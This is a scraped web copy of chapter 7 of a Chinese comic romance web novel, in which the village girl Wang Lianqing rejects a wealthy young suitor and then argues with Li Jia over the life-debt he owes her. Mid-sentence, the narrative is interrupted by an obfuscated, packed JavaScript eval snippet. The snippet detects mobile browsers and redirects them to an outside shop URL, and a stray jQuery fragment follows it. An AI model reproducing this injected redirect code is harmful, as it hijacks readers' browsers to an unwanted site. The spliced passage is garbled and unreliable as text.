7. 第七章
作品:《前夫哥,来得正好》 “那倒是没有,其实我还是挺高兴见到你的。”挺高兴见到你的钱。
听着少年的话,王怜青想了想,觉得自己再吊着人那就是不道德了,干脆直截了当道:“我知道你在想什么,但我们是不可能的。”
“不可能……?”
这一次茫然的声音中带了几分慌张的哭腔。
除了村里的老人,王怜青对众生平等,管你男的女的老的少的,没有哄你的义务,她说:“不可能和你在一起。”
“……”
“听得清吗?”墙那边没有声音了,她缓了缓,放慢语速,“我不可能跟你成亲,所以你死了这条心,赶紧走吧。”
“……”小少爷好像听明白她说的什么,如遭雷击,语声艰涩在喉,半晌他讷讷:“我,我去求我爹……”
求什么求啊。
王怜青觉得他根本没明白问题发生在哪儿。
“求你爹有用吗?”她干脆问。
小少爷道:“我爹从小到大没有事情不应我的。”
王怜青道:“那些都是小事,他自然应你了。可他绝不会许你娶一个村姑的罢?”
李甲在旁边听着,本像只鹌鹑一样老实,毕竟他根本没搞懂发生了什么。这时候听到王怜青自贬为村姑,却老大不痛快,忍不住要插嘴:“什……噗。”
王怜青顺手给了他一肘。
李甲噤声了,面目扭曲地揉自己胸口。
小少爷听到了这一声,心生疑窦道:“谁在那头?阿青,你和谁在一块啊?”
王怜青道:“没有谁,你听错了罢。”
她语气敷衍如常,哪里知道这小少爷生了一双好耳朵,刚才听得清清楚楚。他又爱多想,火石电光之间心中又酸又涩,他喊道:“我分明听到了!没有听错!是个男人是不是?你……你,你为了他,不要我了吗?”
王怜青真想纠正他的说法,不是不要“你”,是不要“你的钱”。不过既然已经被误会了,她干脆骑驴下坡,无所谓道:“你管我为了谁,反正我不会再来了。”
隔了堵墙,仿佛也能见小少爷涕泗横流的脸,他喊道:“他是谁!他有什么好的,我跟他比有哪里比不过?”
唉,要王怜青来看,有什么区别嘛,人不都是两条腿两只手,两只眼睛一张嘴?可是小少爷非要她说个二三五六,她只好想了一想,灵机一动道:“你从前说要我嫁给你?”
小少爷道:“是。”
王怜青叹气道:“不巧,我只招赘,不下嫁。这点你是无论如何比不过他的了。”
李甲在旁边,一脸古怪地指了指自己:什么意思?
王怜青翻了个白眼,又赏了他一肘。李甲被殴得欲哭无泪,倒也明白了她的意思,当即嘴闭得更紧了。
那厢,小少爷沉默片刻,再起时声中哭腔更甚:“就……就为了这个?”
自然不是为了这个,只是王怜青见过了丈夫典妻、妻愤而杀夫的事,那死得不干不脆,拖泥带水,两个人又哭又笑,抱在一起,血流进土地里的场景让她印象深刻,从此她不大信人的海誓山盟,也懒得为不确定的往后费心。但既然已在他面前说了,当然也就顺着说下去:“对啊,就为了这个。”
见对方凄凄切切的,她没有多少怜惜,反倒起了捉弄之心,摇头叹道:“你再怎么求你爹也没用啦,他即便同意我们两个在一块,可能同意你入赘我家?我可听说你是家中独子。”
正因是家中独子,前途远大,故此处处阻拦,处处刁难。其实就是王怜青不拒绝、小少爷成功求了他爹点头,两人也不会有好日子过的。说什么绫罗绸缎山珍海味,多稀罕么?王怜青心道给我十两银子就够了,我只需要一头牛。
能帮我耕地的牛。
看在十两银子的份上,送佛送到西,她耐下心来,又连说了几句话,要打消这小少爷的念头。可这哪是容易的事,小少爷满腹不甘,哭哭唧唧,直把她给弄得烦躁起来。
反正我也已是仁至义尽,她心想,哪有那么多闲工夫陪你扯话!
她道:“你要真说什么‘真爱无敌’,便证明给我看,求你爹让你入赘。别的免谈了!告辞。”
说罢她扬长而去,连小少爷如何回应也不听了。
倒是李甲驻足片刻,听得那小少爷立誓下定决心,说什么“我这就去求爹”“他不肯我就上吊去”,听得他是肃然起敬,回过神来才发现已经被王怜青落下,急匆匆追了上去。
虽旁观了全程,但李甲仍是雾里看花,半懵懂半讶异,走出那条巷子,他憋不住开口问:“刚才那是谁啊?”
“哦,我不是说追我的人从村头排到村尾么,”王怜青满不在乎地拿出银子吹了吹,“刚才那个就是排在村尾的。”
“我以为你那是在吹牛。”
“那你现在就知道我从不吹牛了。”
“所以真的有人追你?有人喜欢你?”
“哈,谁不喜欢我?你不喜欢我吗?”
“你是不是有点自恋了。”
“有吗?好吧,我确实每天都很喜欢我自己。”
王怜青神清气爽,仿佛已经看到了黄牛在自己面前哞哞叫着狂耕十亩地,对李甲的态度也肉眼可见和蔼可亲起来,连李甲问她蠢问题都一一答了。
李甲则大致明白了事情的原委,心中暗暗同情那哭天喊地的小少爷。摊上这么个没心没肺的人,唉!
同情到一半,他想起了自己的处境,一下子又沉默了。
天色渐黑,两人往家的方向赶,在县城宵禁,城门落锁之前出了城。
一出了城,原本平整的青石路瞬间便被黄沙覆盖的荒石路取代。野草丛生,野鸟群啼,太阳落下去,月亮升起来,两人的影子长长。
走了不知多远,王村零星的火光隐约跳入眼中。李甲听到自己和王怜青的呼吸声,他们保持了很长一段沉默用来保留体力赶路,这时候他忍不住出声:“我还以为你会把我丢下。”
王怜青诧异道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211597|197424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“什么?”
“没有人来找我……你又和我无亲无故,”李甲说,“村里粮食又吃紧。”
他还以为王怜青会把他扔了就跑,跟对待那个小少爷一样。
王怜青总算明白他脸上的表情是怎么回事。她砸吧了一下嘴,提醒他:“你还欠我债啊。”
李甲:“……什么债?”
王怜青大叫起来:“莫非你这家伙是个知恩不图报的白眼狼?”
这茫然的眼神让王怜青觉得自己真救了条白眼狼,干脆跟他算账:“我救了你一命,这个是没错的吧?虽然我没读过什么书,但也知道救人一命胜造七级浮屠,你不用以身相许,给我当牛做马回报就行了。本来你要是有钱,给我点钱也行。可你不是没钱么!你当然得给我干活了!”
她觉得自己是个很大方的人:“这些时日你吃我的喝我的睡我的,你干的活也只能算勉强抵消这些——不对,远远不够,野草和韭菜和葱都分不清的人,拿什么来抵消我的米!”
李甲恼羞成怒:“我已经分得清野草韭菜和葱了!”
李甲大声反驳:“吃你的喝你的就算了,睡你的——我睡在稻草上和睡在外面有什么区别!”
王怜青眯了眯眼睛:“哦,你的意思是我可以不给你提供稻草和遮风避雨的屋子啰。那你今晚睡池塘。”
李甲:“……”
李甲在心里衡量了一下稻草和池塘。不能睡床已经很可怜了,再降级到睡池塘那他的人生还有前途吗?李甲心中一片悲凉。
罢了,罢了!李甲忍辱负重:“这个我们先不提了。不提不提。”
王怜青满意道:“对啰!总之你这些时日的苦力顶多抵了你的吃住,你还欠了我一条命。为了这笔债,我怎么可能丢下你不管?”
如果只有最后半句话,或许还能让人生出几分感动。可惜王怜青绝非仁爱之心泛滥的圣人,她说:“再怎么着也得压榨完你才放过你。留你下来好歹你还能种地。唉,把你扔了,你哪天死在街头,不就彻底不能再给我回报了吗?”
这话说得太直白了,还有点大实话的难听。
李甲听了,心里暖暖的那才怪了。
他大喊:“等我亲友找到我了我有钱了,我一文钱都不给你!”
王怜青沧桑地感叹:“你不要说得好像你有个远方的不知行踪的富亲戚,你天天盼着他回来给你荣华富贵一样。”
王怜青摇头叹气:“有的人啊,说得那么大声,其实一文钱都没有,想吃包子都是蹭的我半个。”
“……”李甲突然望天道:“我好想再吃一个包子。”
王怜青被他牵引思绪,心中不由生出几分怅然,同样望天道:“我也好想再吃一个包子。”
两人同步看着天,也不计较别的事了,都满怀惆怅地想。
如果能再吃一个包子就好了。
最后王怜青踢飞一块石子,充满豪情壮志,毅然决定:“我们明天就去买一个包子吃!”

